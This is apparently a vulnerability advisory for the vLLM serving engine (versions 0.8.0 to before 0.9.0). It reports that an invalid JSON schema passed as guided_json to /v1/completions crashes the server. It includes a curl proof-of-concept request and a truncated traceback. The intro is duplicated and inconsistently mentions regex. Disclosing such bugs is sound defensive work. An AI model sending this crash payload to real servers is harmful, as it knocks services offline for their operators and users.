vLLM is an inference and serving engine for large language models (LLMs). In versions 0.8.0 up to but excluding 0.9.0, hitting the /v1/completions API with a invalid json_schema as a Guided Param kills the vllm server. This vulnerability is similar GHSA-9hcf-v7m4-6m2j/CVE-2025-48943, but for regex instead of a JSON schema. Version 0.9.0 fixes the issue.

Affected: PyPI: vllm

### Summary Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

### Details The following API call `(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' ` will provoke a Uncaught exceptions from xgrammer in `./lib64/python3.11/site-packages/xgrammar/compiler.py `

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

### PoC Make a call to vllm with invalid json_scema e.g. `{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}`

`curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' ` ### Impact vllm crashes

example traceback ``` ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last): ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core ERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop() ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm…

Affected: PyPI: vllm

vLLM is an inference and serving engine for large language models (LLMs). In versions 0.8.0 up to but excluding 0.9.0, hitting the /v1/completions API with a invalid json_schema as a Guided Param kills the vllm server. This vulnerability is similar GHSA-9hcf-v7m4-6m2j/CVE-2025-48943, but for regex instead of a JSON schema. Version 0.9.0 fixes the issue.